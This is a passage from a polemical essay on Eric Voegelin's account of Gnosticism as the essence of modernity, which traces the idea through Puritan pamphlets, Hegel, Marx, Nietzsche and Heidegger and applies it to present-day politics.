ex-slave tells Sinuhe: “His [Akhenaton’s] god is assuredly a very remarkable one, for he causes Pharaoh to act like a madman. Robbers and murderers now wander freely through the Two Kingdoms, the mines are deserted, and the wealth of Egypt sees no increase.”  Waltari’s Danish contemporary Martin A. Hansen (1909 – 1955) published his novel of the Thirty Years’ War, Lucky Kristoffer, also in 1945 at the cessation of hostilities. Like Waltari’s Egypt of the Tel-El-Amarna Period, Hansen’s Denmark of the early Seventeenth Century is a hellish landscape of social breakdown, homicidal fanaticism, and the insane abrogation of everything belonging to traditional law and order. Hansen’s sympathies lie with Catholicism although the Church comes in for its share of condemnation. Instead of the single half-sympathetic Pharaoh who, his vision overtaking him, would reshape reality according to it, there is the Polyphemus of innumerable convinced men each of whom has become his own spiritual authority and seeks to impose that authority on all others – or punish or eliminate them should they refuse the privilege. “During [the] lovely midsummer,” as Hansen’s narrator records, “Johann Rantzau swept the Lübeckers out of Fyn, and so many peasants lost their lives.” A young woman wants to make confession, but the narrator tells her, “All the father confessors are now extirpated.” The landscape has become “rubble and blood-stained gravel” in which men “flounder”; and “the corpses hanging in the gallows outside the ramparts [have] turned black with the rain.” Whether it is Waltari writing of the Bronze Age or Hansen of the Late Medieval period, the real reference is the shattered soul of Europe in 1945.  In composing The New Science, and in letting his intuition be moved by a novelistic sense of spiritual disaster, Voegelin took as his task nothing less than to restore “the science of human existence in society and history” in an age when “the consciousness of principles is lost.” In the last, Voegelin meant not only that contemporary political science so-called had lost sight of basic insights available only through the study of the classical texts (Plato, Aristotle, Augustine, Dante) but also that the reigning positivism of the social sciences rejected the idea of principles, confining its method to empirical description. An unstated but strongly implied sub-thesis of The New Science would be then that the contemporary political science of the mid-Twentieth Century has become merely another iteration of a general restrictive scientism, bound by its dogmatic commitment to material causality to eschew any traffic whatever with pre-modern thought and to blind itself to the important role of symbolization in the gaining of insights into the order of being. Because a symbol resists reduction to a logical proposition, the scentistic mentality rejects it as intrinsically meaningless, but in doing so it only sacrifices its faculty of cognition to its Puritan fundamentalism.  It is once more a case for Voegelin of the distinction between transparency and occlusion in the cognition of reality, for by the clarity of cognition alone man puts his soul in order. As Voegelin puts it, “if the adequacy of a method is not measured by its usefulness to the purpose of science, if on the contrary the use of a method is made the criterion of science, then the meaning of science as a truthful account of the structure of reality, as the theoretical orientation of man in his world, and as the great instrument for man’s understanding of his own position in the universe is lost.” Voegelin declares that valorizing as knowledge only those results generated by a single approved method amounts to “perversion” in the epistemological realm. That term, perversion, occurs many times in the text. Voegelin uses it to emphasize the unnatural – the spiritually sick – character of modernity. All of these indictments, including the repeated one of modern intellectual perversion, rankled the scholarly mentality, but none so much as the common thesis of the three concluding chapters, the thematic content of which the chapter-titles themselves adequately convey. They are “Gnosticism: The Nature of Modernity,” “The Gnostic Revolution: The Puritan Case,” and “The End of Modernity.” On the one hand, Modernity, once established, ought to remain eternally in place and undisturbed. On the other, since its end, as aim, can only be the abolition of man, it avoids publicity concerning that end or aim.  The critique of scientism in The Political Religions shades logically into the theory of Gnosticism as the “nature of modernity” in The New Science of Politics. Gnosticism, of which scientism is a variety, constitutes the radical case of “perversion” in the realm of knowledge and in the articulation of that knowledge in a shared, effective social symbolism; Gnosticism is meanwhile related – in its modern manifestation, as mandatory Liberalism – to Puritanism, as previous remarks will have indicated. A vast occasion for offense obviously offered itself in Voegelin’s prose to everyone from the Trotskyites to the Mayflower Society, and the situation has hardly improved with time. But it is in the nature of Gnosticism to take offense, apropos of which Voegelin observes: “One can easily imagine how indignant a humanistic liberal will be when he is told that his particular type of immanentism is one step on the road to Marxism” or when he is told that “totalitarianism, defined as the existential rule of gnostic activists, is the end form of progressive civilization.”  To quote these particular remarks is to put the cart ahead of the horse somewhat, but the quotations have the value, exemplarily, of pointing toward one of Voegelin’s essential insights about Gnosticism as the essence of modernity. It is also important to put them in their proper historical perspective: Voegelin made those remarks more than sixty years ago – and the subsequent cumulus of experience bears them out today even more than it did in 1952. Voegelin contends that Christianity “de-divinized” politics and permitted the articulation of political forms in a purely temporal realm – a gain for human self-understanding and for freedom. The phrase Gnostic Modernity is synonymous, however, with the “re-divinization” of the political-temporal order and therefore not at all with anything that could rationally be called progress, but that must, on the contrary, be grasped as an atavism. Naturally, such “re-divinization” dissimulates itself, even appearing in the form of militant atheism, but it always renders itself identifiable through its vehement hostility to established religion and to the Tradition generally.  Citing the parallel observation made by Viereck in Metapolitics will once again be useful. In the chapter on “Nazi Religion versus Christian Religion,” in a sub-chapter entitled “The Dark Gods Awaken,” Viereck writes: “Through romantic incantation and mass ecstasy Nazi religion would reawaken the elemental powers of pre-civilization days.” National Socialism amounts, in Viereck’s characterization, to nothing less that “a bloody war of Kultur against civilization.” In the chapter on “Rosenberg as Journalist,” Viereck observed the dependence of Nazi rhetoric on figures of resentment. “The correct beginning for every Nazi pamphlet,” Viereck writes, “is to list all it damns, always a list huger in space and fervor than that of what is praised.” Thus the cognitive content, so to speak, of National Socialism is not really cognition at all – it is a spasm of petulant rage directed at the world as it is currently arranged, under the form of civilization. The Hitlerian program is nothing less than the abolition of the existing world and its replacement by another. The program requires what Voegelin calls “re-divinization” because the new world can only issue from a world-creator who triumphs over his original.  What was it that drove the atavistic program of “re-divinization,” by the dubious symbolism of which Joachim and his successors, in Voegelin’s words, “achieved certainty about the meaning of history”? In the previous “de-divinized” symbolism, history resisted its own dogmatization as a definition or “eidos.” But as Voegelin writes, “history has no eidos, because the course of history extends into the unknown future.” The meaning of history, in the “de-divinized” symbolism, belongs to the transcendent realm, with the Ideal Republic or the City of God. One could say that under Christianity the meaning of history is indefinitely deferred and that the deferral helps guarantee freedom. “Certainties,” Voegelin argues, “are in demand for the purpose of overcoming uncertainties with their accompaniment of anxiety.” What unresolved issue or lacuna in knowledge gives rise to anxiety so acute that even an “illusion,” the mendacious “meaning of history,” becomes preferable to it? “Uncertainty is the very essence of Christianity,” and by corollary, “the feeling of security in ‘a world full of gods’ is lost [when] the world-transcendent God is reduced to the tenuous bond of faith,” as it is by Paul and the Patres.  Voegelin denies that High Medieval Humanism and the Renaissance correspond together to a new espousal of Paganism. For one thing, Paganism had never disappeared; rather it had been absorbed by Christian philosophy and thoroughly permeated the new Christian culture of the Late Roman Empire. In addition, Paganism was an instance of healthy adjustment to the world, which is why the successor religion could absorb it without distorting itself. In this way the Renaissance in particular is not a complete novelty but a return to something like the Constantinian religious dispensation; it is a re-extension of philosophical tolerance that abolishes the dogmatic political Christianity of Justinian. The Renaissance, through its cult of beauty, also reacts against the various forms of iconoclasm – Islamic, Byzantine, Catholic, and Proto-Protestant – that interrupted the continuum of beauty of the Western Tradition in the Late Medieval Period. Iconoclasm, if it were not itself necessarily Gnostic, would nevertheless be characteristic of Gnosticism, which is the rebellion against the order of being. Normative religion, whether Pagan or Christian, affirms the order of being and calls people to reconcile themselves to it. It is unsurprising therefore to find Voegelin remarking that, “Gnosis… had accompanied Christianity from its very beginnings” and remained available in certain themes and attitudes in Scotus Erigena, Dionysius the Areopagite, and related writings.  The essential trait of modern Gnosticism consists in its “immanentist eschatology.” In Search of Order defines “immanentist eschatology” as the project “of forcing the order of the ‘Beyond’ into ‘reality.’” But the topic here is The New Science of Politics. So pervasively does “immanentist eschatology” propagate itself in Western thinking after Joachim that one fails to notice its presence in the schoolbook and encyclopedia truism that the Modern Age, so-called, succeeded the Middle Ages, pejoratively understood as an era of intellectual obscurantism and superstition. Once one puts the first term, Antiquity, in place, one has the Joachitic “eidos of history” in three phases. The third phase may assume a variety of specific shapes: Joachim’s universal monastery-utopia, Dante’s Apollinian Imperium, Condorcet’s Age of Reason, or Auguste Comte’s Church of Man. That Comte was the confabulator of Positivism reminds Voegelin that, “scientism has remained to this day one of the strongest gnostic movements in Western society.”  Voegelin takes as his sample case of a Gnostic movement erupting in a society the English Puritans. He relies on the account of Puritan agitation given by theologian Richard Hooker (1554-1600) in The Laws of Ecclesiastical Polity (1594). Hooker, a Protestant whose thinking remained rooted in Aristotle and Aquinas, insisted on the intellectual continuity of the Logos from its Pagan to its Christian manifestation. Rather than being a participant in the Logos, the Puritan (Voegelin’s Gnostic) is a man with a “cause.” This “cause,” invariably moralistic and denunciatory, aims its ire at the constituted order of society in Manichaean terms of an absolute division between the good of the “cause” and the evil of the constituted society. Voegelin picks up on Hooker’s observation that the Puritan relies, not on Scripture, but on selective quotation from Scripture with tendentious commentary to propagate his agenda.  In Voegelin’s coinage, every Gnostic insurgency requires its “Koran.” He mentions that Calvin’s Institutes constitute such a “Koran” – in its mildest variety – whereas the proliferating pamphlet-literature of Puritanism waxes swiftly fanatic. With the printing press, a type of programmatic stridency begins to characterize sectarian discourse. A tendency to identify scapegoats and to urge their violent expulsion from the polity accompanies such stridency. Voegelin continues: “In the Communist movement, finally, the works of Karl Marx have become a kind of Koran of the faithful supplemented by the patristic literature of Leninism-Stalinism.” Today there are numerous Korans, just as there were numerous pamphlets in Northern Europe under the agitation of the Protest, and just as there were numerous broadsides and tracts during the heyday of Puritanism in England. Today’s pamphlets and tracts generally issue from those conspicuously non-profit enterprises called university presses. Current weird mutations of Catholicism are not excluded from this generalization.  III. Oswald Spengler remarks in The Decline of the West that the Glorious Revolution prefigured the French Revolution stage by stage, including the execution of the royal sovereign. Voegelin was certainly aware of Spengler’s thesis. In The New Science of Politics, Voegelin, drawing both on Hooker and on the Puritan pamphlets, to which Hooker refers, compares the Puritan insurgency to the Bolshevik insurgency, stage by stage. At the time of the Puritan pamphlet called Queries (1649), a threatening document in which the rebellious saints entitle themselves to “authority and rule over the nations and kingdoms of the world,” as Voegelin writes, “the revolution… had reached a stage corresponding to the stage of the Russian Revolution at which Lenin wrote about ‘next tasks.’” The pamphlet forecasts the violent insurgency to come and thus anticipates “the stage at which, in the Russian Revolution, Lenin wrote his reflections under the coquettish title, ‘Will the Bolsheviks Retain State Power?’” As Voegelin remarks, “They will, indeed; and nobody will share it with them.” English Puritan rhetoric and Russian Bolshevik rhetoric resemble Nazi rhetoric, as assessed by Viereck in Metapolitics. All three are cases of world-resentment driven to the highest pitch until it becomes a type of God-delusion.  In another Puritan pamphlet, A Glimpse of Sion’s Glory (1641), Voegelin discovers the invariable nihilistic strain of the Gnostic imagination in its agitated mood. Drawing on apocalyptic imagery from the Bible, the pamphleteer gloats over the imminent destruction of the constituted order, here characterized as “Babylon.” “While God is the ultimate cause of the imminent happy change,” Voegelin wryly comments, “men should indulge in some meritorious action, too, in order to hasten the coming.” Such action, quoting the language of the pamphlet, will include “dashing the brats of Babylon against the stones.” The language of A Glimpse bears comparison with the languages of Bolshevism and Nazism. The Seventeenth-Century pamphleteering imagery doubtless put itself into practice at the time, but it also found vivid actualization under the Bolshevik and Nazi regimes and it finds contemporary actualization in the bloody deeds – recorded on video by the perpetrators – of the Neo-Caliphate calling itself the Islamic State or the Islamic State in Syria. Ideological polities, as Waltari and Hansen asserted in novelistic mode, invariably resort to the hoary practice of human sacrifice.  A previous essay to this one put under examination various Gnostic documents of the Second Century and came to the conclusion that discursively those documents represented a resurgence of sacrificial thinking: The abolition of the world means the justified holocaust of all save the elect, who alone qualify as worthy enough to inhabit the new creation. This pattern reappears in A Glimpse of Sion’s Glory, in the infanticide-imagery. The world of the saints will arise on the lifeblood and sweetmeats of the unbelievers. The acknowledgment, as Voegelin writes, that, “the Scriptural camouflage cannot veil the drawing of God into man,” should not, in turn, veil the bloodthirsty character of the pamphleteer’s God. Like the Moloch of the Carthaginians, that God demands the newborn in his honor. Hence Voegelin’s judgment: “All this has nothing to do with Christianity,” even while it has everything to do with religion, in a primordial cultic sense. God, responding to “meritorious action,” will reverse all social relations, leveling the mountains of established difference, so to speak. Voegelin adds this: “In this God who comes skipping over the mountains we recognize the dialectics of history that comes skipping over thesis and antithesis, until its lands its believers in the plain of the Communist synthesis.”  In Science Politics and Gnosticism (1958), Voegelin widens the scope of such recognition. Quoting Gnostic documents at second hand from Hans Jonas’ Gnostic Religion, Voegelin avers that in them “the reader will have recognized Hegel’s alienated spirit and Heidegger’s flungness [Geworfenheit] of human experience.” Voegelin reiterates the dichotomy that he had employed in The New Science of Politics. Ancient Gnosticism sought grace through the abolition of the material world and the restoration of the Pleroma. In post-Enlightenment Gnosticism, by contrast, the subject overcomes anguish “through the assumption of an absolute spirit that in the dialectical unfolding of consciousness proceeds from alienation to consciousness of itself.” The reassimilation of the alienated element “transforms man into superman.” Structures of consciousness that in the Gnostic’s view inhibit or preclude the advent of the superman become obsessive targets of coercive correction and abolition. The ceaseless public diatribe of the modern Gnostics against everything received or traditional intends the dissolution of the abhorrently false (but to everyone else, normal) consciousness.  In its spirit of total resentment, post-Enlightenment Gnosticism insistently revalues all values; that is, it reverses all values simply because they are received, declaring presence privative and absence plenary and turning everything else on its head. Nietzsche heralded the movement as an explicit program as early as The Birth of Tragedy (1872), where he argues that the action of the Greek stage refers to nothing – or rather only to the delirious vision of the chorus, intoxicated by the god (Dionysus) and seeking ecstatic escape from the horror of being. The tragic vision becomes in this reading the tragic hallucination while life, far from being exalted, as often seems to be the case in Thus Spake Zarathustra (1883 – 85), is in fact degraded to meaningless animal suffering. In the 1980s in North America, Anglophone academics seized on the translations of Nietzsche’s successors, Martin Heidegger and Jacques Derrida, to provide themselves with a mechanical vocabulary of value-revaluation, the issue of which is the current in-group style of college-professor writing whose two functions are to baffle outsiders and intimidate them, on the one hand, and to affirm a sense of moral superiority based on the rhetorical annihilation of traditional morality, on the other.  While The Gospel of Truth or the Hermetica is infinitely more intellectually refined than the Proceedings of the Modern Language Association, the latter is nevertheless, in style and form, Gnostic. The content (or anti-content) of the Gnostic vision (or anti-vision) need not be intellectual – indeed, it can be quite vulgar and boorish, as the PMLA often is. All the more so, then, the need for politically correct injunctions to protect shoddy doctrines against being examined in light of their coherency or their comportment with evidence and observation.  Voegelin anticipated all of this in Science, Politics, and Gnosticism. Because the Gnostic’s premises cannot withstand scrutiny, the Gnostic, when he acquires power, either within an institution or over a society, seeks to establish “the prohibition of questions.” Voegelin instances this implacable sanction in a sequence of close readings of Hegel, Marx, Nietzsche, and Heidegger. In the case of Marx, “a speculative gnostic,” Voegelin begins by calling attention to a semantic sleight-of-hand in the Manuscripts, 1844. Marx asserts that human being is continuous with nature, which produced humanity; but he also asserts that humanity, in laboring to transform nature, has produced itself. In Voegelin’s comment, “The purpose of this speculation is to shut off the process of being from transcendent being and have man create himself.” Marx prestidigitates by “playing with equivocations in which ‘nature’ is now all-inclusive being, now nature as opposed to man, and now the nature of man in the sense of essential.”  Such a theory – or rather such a series of verbal slippages, masquerading as a theory – leaves hanging the question of origin. It invites interrogation because a longstanding consensus is that things are best understood in relation to their origin, the examination of which reveals a thing’s necessity. Understood in context of its origin, property, for example, reveals itself as an institution aimed at the preservation of the social order against concupiscence arising from resentment. Resentment, moreover, belongs to human nature; it is ineradicable, but it can be channeled and controlled. Marx has sided with resentment. In doing so he pits himself against the ineradicable structure of human reality. In his “speculation,” Marx, as Voegelin now registers, tries to interdict inquiry by labeling any doubt about his assertions “a product of abstraction.” Voegelin writes: “The questions of the ‘individual man’ are cut off by the ukase of the speculator who will not permit his construct to be disturbed. When ‘socialist man’ speaks, man has to be silent.”  In the case of Hegel, Voegelin begins by quoting from the preface to The Phenomenology: “The true form in which truth exists can only be the scientific system of it. To contribute to bringing philosophy closer to the form of science – the goal of being able to cast off the name of love of knowledge [Liebe zum Wissen] and become actual knowledge [wirkliches Wissen] – is the task I have set myself” (Hegel). Voegelin observes that Hegel’s phrase “love of knowledge” translates the Greek term philosophia directly and that his phrase “actual knowledge” corresponds to the Greek term gnosis. It follows that “if we translate them back into Greek… we then have before us the program of advancing from philosophy to Gnosis.” Anticipating Marx’s antics, Hegel, according to Voegelin, “conceals the leap by translating philosophia and gnosis into German so that he can shift from one to the other by playing on the word ‘knowledge’” (Voegelin). Hegel’s system, as built up on this flimsy basis and as supposedly justifying it, Voegelin sees as a “swindle.” The system itself serves “libido dominandi” purely and simply, another example of the Gnostic desire for “dominion over being.”  It is true that Hegel, apart from the egomania revealed in his construction, bequeathed to posterity many valid insights, including a defense of the inherited legal order, and indeed of many medieval institutions, against a revolutionary challenge. In categorizing Hegel’s thought in The Phenomenology as Gnostic, Voegelin does not mean to reject Hegel in toto; he means, rather, to approach the Hegelian text in a spirit of genuine criticism, which must take into consideration the verbal slippages of the exposition. It is quite possible that one can learn a great deal from a confidence trickster, but one is not compelled by that fact to become the dupe of the confidence trickster. A characteristic of the confidence trickster, however, is that he wishes to gain the supportive cooperation of his clients, who, having become attached to him, defend him even after he has cheated them; he is not content with a critical client who picks and chooses the details of the Big Deal, inspiring others with his doubtfulness. The skeptic annoys the confidence man, who insists on all or nothing – a wager that exerts its appeal on certain parties.  As for Heidegger: Voegelin, like Jonas, discerns the kernel of nihilism in his discourse. Heidegger represents in Voegelin’s judgment “the mentality that expects deliverance from the evils of the time through the advent, the coming in all its fullness, of being construed as immanent.” Like the English Puritans who, trusting their God, nevertheless saw a need for “meritorious action” on their own, Heidegger contented himself not merely to await what in one moment he referred to as a “New God”; he became a Nazi, whose first act as state-approved Rector of Freiburg was to complete the expurgation of Jewish faculty members begun by his precursor. This contemptible cleansing action affected Heidegger’s own teacher Edmund Husserl, whose emeritus privileges the new official suspended. Heidegger summarily dropped Hans Jonas from the doctoral program in philosophy, also on account of the pupil’s Jewishness.  IV. In Science Politics and Gnosticism, Voegelin repeatedly acknowledges that declaring secular modernity a sectarian religious triumph flouts the touchy self-understanding of modern secular people. Voegelin acknowledges also that his imputation concerning thinkers on the order of Hegel, Marx, Nietzsche, and Heidegger that they were intellectual swindlers can only, in a modern context, arouse the ire of a large part of his readership. Perhaps even some self-described conservative readers will feel a twinge of irritation on being made acquainted with a harsh critique of Nietzsche in combination with a sustained defense of normative religious ideas about the structure of existence. Such an emotion, were it to occur, would itself be a datum explicable within the framework of Voegelin’s analysis. The sentiment easily attaches to venerated figures – and Nietzsche would be one of them – to the effect that to question their assertions is somehow to transgress the permissible. Science, in its institutional aspect, also enjoys this type of tacit immunity from criticism whereas, on the other hand, casually bashing religion is more or less a sport for many self-consciously modern people, even those who identify themselves politically by their opposition to collectivist projects and political correctness. Is sarcasm, the usual mode of contemporary discussion about anything traditional, Gnostic? Sarcasm is invariably a pose of being sure of itself; it blusters against the haunting suspicion that it can be wrong by making out that it believes that it cannot be wrong – and it typically responds to criticism by a heightening of its forced superciliousness.  Contemporary institutional discourse could hardly exist without sarcasm. Actual humor has mostly disappeared and few contemporary people would recognize it. Audiences of millions guffaw at the smarmy jokes of comedian-atheists for whom Christian religiosity is an object of scorn guaranteed not to fight back. (Sarcasm means something like “flogging a corpse.”) Is God not dead, after all, whether one is a liberal or a conservative? Are values not simply assertions, without transcendent source or justification, and therefore implemented by power alone, quite as Marx, Nietzsche, Heidegger, all English professors, and the spokesmen for the European Union say that they are? Is the cosmos not simply what we want it to be, as a plastic object of our Eros or lust? Nowadays people “identify” as this or that, men as women and vice versa, white as black, male infantilism as grown-up sophistication, and people with schoolteacher salaries as billionaires, no doubt. Mere preference has acquired a pseudo-ontological significance. Why I am this and not that? Why is reality thus-and-such and not otherwise, as I would have it? More cogently: Must I be as I am and is to will not the same as to be?  People hesitate to pose these questions because they hesitate to answer them. They know that the “correct” answer, the officially sanctioned answer, is “yes,” in both cases; they sense at the same time that “no” is at least as likely an answer as “yes,” maybe far more likely. Put more simply, the undeniable prohibition of questions overawes everyone so that everyone maintains silence. The fact that secular modernity defines itself, with increasing stridency and intolerance, as non-religious must be assessed, furthermore, by reference to the specific religiosity against which that antithetic self-definition occurs. In the Communist countries and in Nazi Germany, Christianity and Judaism filled this role, with the initial emphasis landing in Russia on Christianity and in Germany on Judaism. The Holocaust made anti-Semitism embarrassing for Western radicals (who are by definition on the Left) for fifty years, so that, in the United States and Europe, the Left had to concentrate on anti-Christian agitation. Now that the lingering super-ego effect of the Holocaust seems to have vanished, the Left has added open anti-Semitism to its “Glimpse of Sion’s Glory.” But the anti-Christian mood never weakens; it grows stronger. The analysis is not concluded, however.  The contemporary Left’s sympathy with Islam tells us that the Left is not, as it pretends, anti-religious, but merely anti-Christian and anti-Semitic. If Buddhism had greater purchase in the West, the Left would be anti-Buddhist too. That is to say, the Left is anti-Western and anti-normative. The Left then gleefully welcomes whatever or whoever helps it in its program of annihilating Western (Judaeo-Christian) norms. The Left indeed seems to share Islam’s contemporary religious excitation, nothing being as imitable as an adrenal spasm, so that the idea of “Globalism” can refer equally well to the latest Leftwing plan for utopian-redistributive “world governance,” using the jargon of “sustainability,” or the Islamist plan for a revived Caliphate. It is madness – “pneumopathology” – on either side. But it is also ferociously crusading, massively organized, and mutually supportive madness à deux (or rather à maint) that wants to dominate existence and monopolize the representation of truth. Voegelin’s last word on Gnosticism, the fifth, supplemental volume of Order and History, called In Search of Order, describes the spiritual straits of the early Twenty-First Century with startling lucidity.  Voegelin praises the faculty of imagination as the capacity by which people make sense of the unalterable givenness of existence, the fact that it is what it is whether one likes what it is or not. He writes movingly of the crucial difference between “the reality that reveals itself in imaginative truth” – that is, in symbols – and a parasitic exploitation of the received symbols that attacks reality from a motive of spite or envy. The first is the realm of investigation of philosophy, the nobility of the Platonic as opposed to the Marxian dialectic; the second is the instrument of Gnostic libido. Voegelin also addresses the subtle relation-in-tension between philosophy and its object, truth, preserving the Platonic insistence that the philosopher loves truth without claiming to possess it; indeed, no desire for wisdom could exist if the subject already possessed wisdom, for, as Plato notes in his Symposium, no one seeks what he already calls his own.  Voegelin writes: “Imagination, as a structure in the process of a reality that moves towards its truth, belongs both to human consciousness in its bodily location and to the reality that comprehends bodily located man as a partner in the community of being. There is no truth symbolized without man’s imaginative power to find the symbols that will express his response to the appeal of reality; but there is no truth to be symbolized without the comprehending It-reality in which such structures as man with his participatory consciousness, experiences of appeal and response, language, and imagination occur.” These words contain a lifetime’s worth of meditation. They stand in contrast, among other things, to the decades-long war on what the crusaders call stereotypes. Whole college curricula are structured around the “deconstruction” of “stereotypes.” But what is a stereotype, really? It is synonymous with a concept. But what is a concept, really? A concept, like a stereotype, is a distillation of experience. It is a tool in the kit of survival. If one were not a bit allergic to Darwin, one might even say that a concept is an item of wisdom that has proven its validity by permitting those acknowledge it and put it into practice to survive.  Imagination must be carefully distinguished from delusion, the one being spiritually healthy and the other signifying a lapse into pneumopathology. Imagination is related to truth. As Voegelin writes in the Search, “In the depth of the quest, formative truth and deformative untruth are more closely related than the language of ‘truth’ and ‘resistance’ would suggest.” This condition would be the case because truth, despite the positivistic definition of the term that prevails today, “is not… a something lying around to be accepted, rejected, or resisted.” Indeed, “imagining ‘truth’ as a thing would deform the structure of consciousness in the same manner as does the transformation of the symbols ‘reality’ and ‘Beyond’ into things for the purpose of manipulation.” Correcting the positivistic error Voegelin defines imagination as “this ability to find the way from the metaleptic experiences to the imagery of expressive symbols.” A “metaleptic experience” is an insight into transcendence that specifically does not entail the degradation of existence or demand its abolition. Whether it is Moses or Socrates, the subject of the “metaleptic experience” grasps the tension between the mortal realm and the immortal realm as belonging to the order of being and therefore, in theodical language, as justified.  For Voegelin, “man is a creative partner in the movement of reality toward its truth.” Man acts as the self-consciousness of the universe, but this can only be the case because the universe is present before him, in both senses of “before.” Voegelin writes, “If the creative partner is exposed to deformative perversion, if the creative partner imagines himself to be the sole creator of truth,” then the partner in fact alienates himself from truth and elevates himself to illusory godhood. Thus “the image of the world becomes the world itself” – the “second reality.” But only in the mind of the pervert. Now Voegelin is not one to use words casually. “Pervert” and “perverse” are vocabulary items that irritate the Liberal mind, but the defensive nature of the reaction is obvious to anyone except the Liberal. “Pervert” and “perverse” are strong words, but they remain applicable to a horrific century that has not yet fully run its course and whose perversion will no doubt fell many millions more victims before it comes to its end. That a relation exists between murky concepts and public massacres is one of the important things concerning Gnosticism about which Voegelin reminds his readers.  A concept might one day prove inadequate – that much the philosopher will readily grant. A concept might also seem to prove inadequate and then later on re-validate itself, as in the case of heliocentrism. Modern people never think of the second of those two possibilities. For them there is only steady progress or evolution that annihilates the past as it advances day by day. Wise people remain open to evidence whether affirmative of assumptions or suggestive of their inadequacy. Openness to reality is precisely the point. To participate in reality requires of the subject his willing postponement of any definitive knowledge of the whole, what elsewhere Voegelin criticizes as “the eidos of history.” The wise man according to Voegelin “is a creative partner in the movement of reality toward its truth” – who must exercise patience and faith. He knows many things, but he does not violate modesty by proclaiming to know what God knows. Virtues being in short supply always, “this creatively formative force [imagination] is exposed to deformative perversion.” In such mischievous self-deception “the creative partner imagines himself to be the sole creator of truth.” The last clause offers a definition of Gnosticism, which Voegelin concludes is “a constant in history” and therefore part of the structure of reality that imaginative participation in existence needs to visualize and understand. The cumulus of words designating pathological egocentrism suggests that the Gnostic perversion really is an historical constant. Voegelin cites “such symbols as hybris, pleonexia, alazoneia tou biou, superbia vitae, pride of life, libido dominandi, and will to power,” as having reference to the Gnostic phenomenon.  All such terms designate a subjective conviction of “autonomous ultimacy,” in which the person who feels the tension in existence cannot bear the tension and so “deform[s] the beginning of his quest into a Beginning that brings the End of all beginnings.” In 1806 possibly only Hegel felt that way – and maybe Fichte. Nowadays, it is an automatic self-conviction of the common man, degenerating at its lower end into pure petulance and narcissism. Such terms as petulance and narcissism might justifiably be added to Voegelin’s list. Not all petulance or narcissism is Gnosticism, but petulance and narcissism certainly play a role in the Gnostic self-conception and in the related behavior.  Waltari gives us the paradigm of the Gnostic evangelist in his picture of Akhenaton in The Egyptian. The Pharaoh’s policies have left Egypt a shambles, with ruin and starvation, crime and treachery everywhere, but Pharaoh himself has lost touch with reality completely: “Thebes is night to me, and so I spurn it… I put my faith in the young and children… Those who from childhood dedicate themselves to the teaching of Aton are purified, and so the whole world shall be purified.” In Pharaoh’s vision, “Schools shall be transformed, the old teachers driven forth, and new texts written for children to copy.” These programs, about which the mad sovereign speculates, were already abundantly familiar in actuality to Waltari in 1945. They are all the more so today for any discerning person.  The self-deceiver who initiates the spiritual swindle cannot entirely eliminate the awareness of his mendacity. The swindle pricks the self-deifier constantly, charging him with his pretentious bad faith. The Gnostic’s abyssal hypocrisy explains his need to propagate his delusion. The Gnostic requires the voluble seconding of others – as many others as possible – to assuage the guilt of his initial tying-into-knots of his own soul. Thus Voegelin characterized Gnosticism in all its forms as being “metastatic,” a term used in oncology to describe the tendency of cancerous cells to spread their destabilization to all cells surrounding them in a cascade of cytoplasm-corruption that overwhelms the body. Gnosticism must compel belief because it lacks belief. Gnosticism runs frightened of its own radical inadequacy from the moment it conjures itself into being. Gnosticism is likely therefore to be mortally self-limiting, but a Gnostic movement can wreak enormous civic and material destruction before it perishes ignominiously from its own spiritual rottenness.  Afterthoughts 2015: The notions of Gnosticism and nihilism, the latter with its many slogans and key words, circulate in Voegelin’s discourse concerning modernity, along intersecting paths, as though they had a peculiar gravitational attraction to one another that drew them together. In The New Science, a signal characteristic of a Gnostic movement is its ceaseless agitation or unrest. Of “reason,” in its Post-Enlightenment usage, in an essay under that name (“Reason,” 1974 – in Anamnesis), Voegelin, in discussing the modern inversion of the term’s Ciceronian meaning, writes, “The health or disease of existence makes itself felt in the very tonality of the unrest.” Further, “In the modern Western history of unrest… the tonality has shifted from joyful participation in a theophany… to the hostile alienation from a reality that rather hides than reveals itself.” According to Voegelin, Hegel built such alienation into his phenomenological system, and just so Hegel’s successor Marx rejected any participation in the given by insisting that all truly conscious men join him in the new creation of socialist man, which entailed the abolition of the existing human reality. It is hardly different in Heidegger, who subsumes much of Nietzsche’s yearning for the Superman into his negative ontology. That intellectual perversion has become reigning secular dogma is signified to Voegelin by fact that “Lévi-Strauss assures you that you cannot be a scientist unless you are an atheist,” such that “the symbol ‘structuralism’ becomes the slogan of a fashionable movement of escape from the noetic structure of reality.”  To be a self-glorifying atheist is to be already, in comparison to the benighted, a Superman, and, to paraphrase a recent revolutionary pronouncement, we Supermen are the ones we have been waiting for.  A kind of climax of this same trend appears in the work of Maurice Merleau-Ponty, in whose case, Voegelin writes, one sees “the transition from intellectual imperialism to the support of mass murder.” Merleau-Ponty has precursors, after all, a near one in Jean-Paul Sartre and another, just behind Sartre, in Dadaism. In the recorded remarks apropos the lecture “In Search of the Ground” (Montreal, 1965), Voegelin remarks that ideology, invariably having its origin in some mere part of Christianity, tends to be apocalyptic; but, “a second element is gnostic, that is, knowledge of the recipe for bringing about the more perfect realm,” the one forecast in apocalypse. The choice of the word recipe is not casual. A recipe is a set of instructions for a short-term result. An investment in short-term results signifies an impatient mentality, an infantile mentality, or a revolutionary mentality, which is the same as a savage mentality, the mark of immature humanity. In any case all these are one and the same. The Revolution, as Edmund Burke rightly called it, demands total alteration in reality now, as though the order of being might respond to a magical ukase. The order of being, however, is what and as it is, unalterably, without heed to anyone’s will, even the revolutionary’s.  The revolutionary, having put himself to an impossible task, namely abolishing the structure of reality, has set himself up to be perpetually stymied, and therefore to experience an accelerating hyperbolic increase of resentment against the stubborn object of his will – until such resentment rises to murderous heights. Insofar as the revolutionary, or Gnostic, mentality cannot at last create a new world by his own recipe, he can, at least, as he comes to believe, destroy a world – or if not the physical world (although he might try) then at least, in order to garner some perverse satisfaction, the cultural world, or those portions of the physical world called people, who, as biological entities, are vulnerable to violent and satisfying obliteration. Adoption of Gnostic premises leads by its own insidious logic to the nihilistic stance.  On the one hand, the words Gnostic and Gnosticism never occur in Father Seraphim Rose’s book on Nihilism (1968); on the other hand, Father Seraphim’s analysis of the nihilistic impulse, its origin and agenda, runs closely parallel to Voegelin’s analysis of Gnosticism, so close that the conclusion presents itself that the two thinkers must be addressing one and the same phenomenon. Father Seraphim (1934 – 1982) writes, for example, of the “messianic fervor that animates the greatest revolutionaries, a statement that squares perfectly with Voegelin’s remark about agitation being a prime Gnostic trait. Whereas for Father Seraphim Nihilism has taken several successive forms during the centuries since the Fifteenth Century – Humanism, Liberalism, Vitalism, Communism, 